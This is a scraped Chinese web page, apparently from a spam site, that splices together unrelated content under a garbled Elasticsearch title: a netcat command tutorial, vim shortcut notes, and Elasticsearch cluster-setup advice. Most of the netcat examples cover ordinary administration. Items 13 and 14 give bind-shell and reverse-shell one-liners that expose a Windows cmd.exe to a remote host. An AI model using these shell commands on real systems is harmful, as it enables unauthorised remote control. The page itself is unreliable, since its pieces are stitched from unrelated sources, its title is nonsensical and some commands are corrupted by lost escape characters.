ES 集群中第一个 master 节点的计划必得轻便,指向

2019-08-23 作者:小鱼儿玄机30码   |   浏览(52)

Elasticsearch 集群搭建实战笔记

linux nc命令使用介绍(NetCat),ncnetcat

功能说明:功能强大的网络工具

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参  数:

-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。

-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s<来源位址> 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 详细输出--用两个-v可得到更详细的内容

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

nc使用示例

  1. 端口扫描

# nc -v -w 2 192.168.2.34 -z 21-24

nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused

Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!

nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused

nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused

  1. 从192.168.2.33拷贝文件到192.168.2.34

在192.168.2.34上: nc -l 1234 > test.txt

在192.168.2.33上: nc 192.168.2.34 < test.txt

  1. 简单聊天工具

在192.168.2.34上: nc -l 1234

在192.168.2.33上: nc 192.168.2.34 1234

这样,双方就可以相互交流了。使用ctrl C(或D)退出。

  1. 用nc命令操作memcached

1)存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211

2)获取数据:printf “get keyrn” |nc 192.168.2.34 11211

3)删除数据:printf “delete keyrn” |nc 192.168.2.34 11211

4)查看状态:printf “statsrn” |nc 192.168.2.34 11211

5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211

6)清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)

  1. nc -p 1234 -w 5 host.example.com 80

建立从本地1234端口到host.example.com的80端口连接,5秒超时

nc -u host.example.com 53

u为UDP连接

  1. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

连接到主机并执行

  1. nc -v -z host.example.com 70-80

扫描端口(70到80),可指定范围。-v输出详细信息。

  1. 远程拷贝文件

从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,

server2上运行:

[email protected] tmp]# nc -lp 1234 > install.log

server1上运行:

[[email protected] ~]# ll install.log

-rw-r–r– 1 root root 39693 12月 20 2007 install.log

[[email protected] ~]# nc -w 1 192.168.228.222 1234 < install.log

  1. 克隆硬盘或分区

操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。

克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:

# nc -l -p 1234 | dd of=/dev/sda

server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:

# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。

  1. 保存Web页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

  1. 模拟HTTP Headers,获取网页源代码和返回头部信息

[[email protected] ~]# nc www.linuxso.com 80

GET / HTTP/1.1

Host: ispconfig.org

Referrer: mypage.com

User-Agent: my-browser

HTTP/1.1 200 OK

Date: Tue, 16 Dec 2008 07:23:24 GMT

Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8

Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/

Expires: 0

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Cache-Control: private, post-check=0, pre-check=0, max-age=0

Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/

Vary: Accept-Encoding

Transfer-Encoding: chunked

Content-Type: text/html

[......]

在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。

  1. 传输目录

从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:

引用

[[email protected] tmp]# nc -l 1234 |tar xzvf -

server1上运行:

引用

[[email protected] ~]# ll -d nginx-0.6.34

drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34

[[email protected] ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234

13.REMOTE主机绑定SHELL

例子:

格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

14.REMOTE主机绑定SHELL并反向连接

例子:

格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

nc命令使用介绍(NetCat),ncnetcat 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g网关...][-G指向器数目][-i延迟秒数][-o输出文件][...

linux系统下编辑工具VIM常用命令,vim常用命令

vim是vi的升级版

vim带颜色显示,会根据文件类型显示不同的颜色

vim的安装 yum install -y vim-enhanced

vim有3中模式,一般模式、编辑模式、命令模式

一般模式下的移动光标的一些快捷键

图片 1

一般模式下的剪切,粘贴,删除

图片 2

vim是vi的升级版 vim带颜色显示,会根据文件类型显示不同的颜色 vim的安装 yum install -y vim-enh...

linux系统下vim编辑器的使用,linux系统vim编辑器

vi或者vim编辑器是我们离不开的编辑器,在windows上面有很多的编辑器可以使用,记事本,notepad , edit等等,

但是在linux上面基本上就是vi或者vim了, vim比vi更强大一点,是vi的加强版本, 所以我们非常有必要学习一下vim

用vi文本编辑器来编辑生成文件
******最基本用法
vi? somefile.4
1、首先会进入“一般模式”,此模式只接受各种快捷键,不能编辑文件内容
2、按i键,就会从一般模式进入编辑模式,此模式下,敲入的都是文件内容
3、编辑完成之后,按Esc键退出编辑模式,回到一般模式;
4、再按:,进入“底行命令模式”,输入wq命令,回车即可

******一些常用快捷键
一些有用的快捷键(在一般模式下使用):
a? 在光标后一位开始插入
A? ?在该行的最后插入
I? ?在该行的最前面插入
gg? ?直接跳到文件的首行
G? ? 直接跳到文件的末行
dd? ?删除行,如果? 5dd? ?,则一次性删除光标后的5行
yy? 复制当前行,? 复制多行,则? 3yy,则复制当前行附近的3行
p? ?粘贴
v? 进入字符选择模式,选择完成后,按y复制,按p粘贴
ctrl v? 进入块选择模式,选择完成后,按y复制,按p粘贴
shift v? 进入行选择模式,选择完成后,按y复制,按p粘贴

vi或者vim编辑器是我们离不开的编辑器,在windows上面有很多的编辑器可以使用,记事本,n...

本文内容

  • 背景
  • ES集群中第一个master节点
  • ES slave节点

本文总结 Elasticsearch(以下简称ES)搭建集群的经验。以 Elasticsearch-rtf-2.2.1 版本为例。

我搭过三个集群:研究ELK时搭了一个;测试环境搭了一个;生产环境搭了一个。回想起来,搭建这三个集群时遇到的问题都不一样(我这么说,主要针对集群中节点发现,以及master问题,而不是es启动不起来或报错等问题)~
  • 研究ELK时,搭建ES集群倒是很顺利,原因很简单,先从一台机器开始的;
  • 可是测试环境搭建集群时,遭遇新加入节点一直不能发现 master 节点,或是集群节点出现都选举自己为 master 这两个情况,因为,节点都是陆续启动的,配置不当,是会出问题;
  • 等到在生产环境搭建集群时,遭遇无法选举出 master 节点的情况。ES head 和 kopf 两个插件都不可用,因为,既然集群没有选举出 master 节点,显然,整个集群是用不了的。而前面的情况,head 和 kopf 插件还是能用的,但能用,意义也不大~
总结起来,搭建集群,应该注意两个问题。首先,当然是 Elasticsearch.yml 配置是否正确;再就是你的操作方式。比如节点启动步骤等。
因为,如果搭建一个集群,那么必须保证集群有一个 master 节点,一般来说,第一个启动的节点,一定是 master。然后,分别启动其他节点,这些节点就会找到 master 节点,而 master 节点,也会发现这些节点。
  • 因此,配置集群中的第一个master节点,务必简单(简单到什么程度,后面再说),先启动它,它会立刻成为 master 节点。之后,再配置其他节点,最好直接告诉它们,可能的 master 节点是什么,然后启动他们,它们就会发现 master,而 master 节点,也会发现新加入的节点。
  • 否则,如果第一个启动的节点,配置过于复杂(条件苛刻),造成它不能成为 master 节点,那么,整个集群会失败。

稍后,你再配置节点时,可以采用更高级、复杂点的配置,就不会有什么问题了~

所以,我才强调,ES 集群中第一个 master 节点的配置务必简单,以后再调整。

本文由小鱼儿玄机30码发布于小鱼儿玄机30码,转载请注明出处:ES 集群中第一个 master 节点的计划必得轻便,指向

关键词: 小鱼儿玄机30码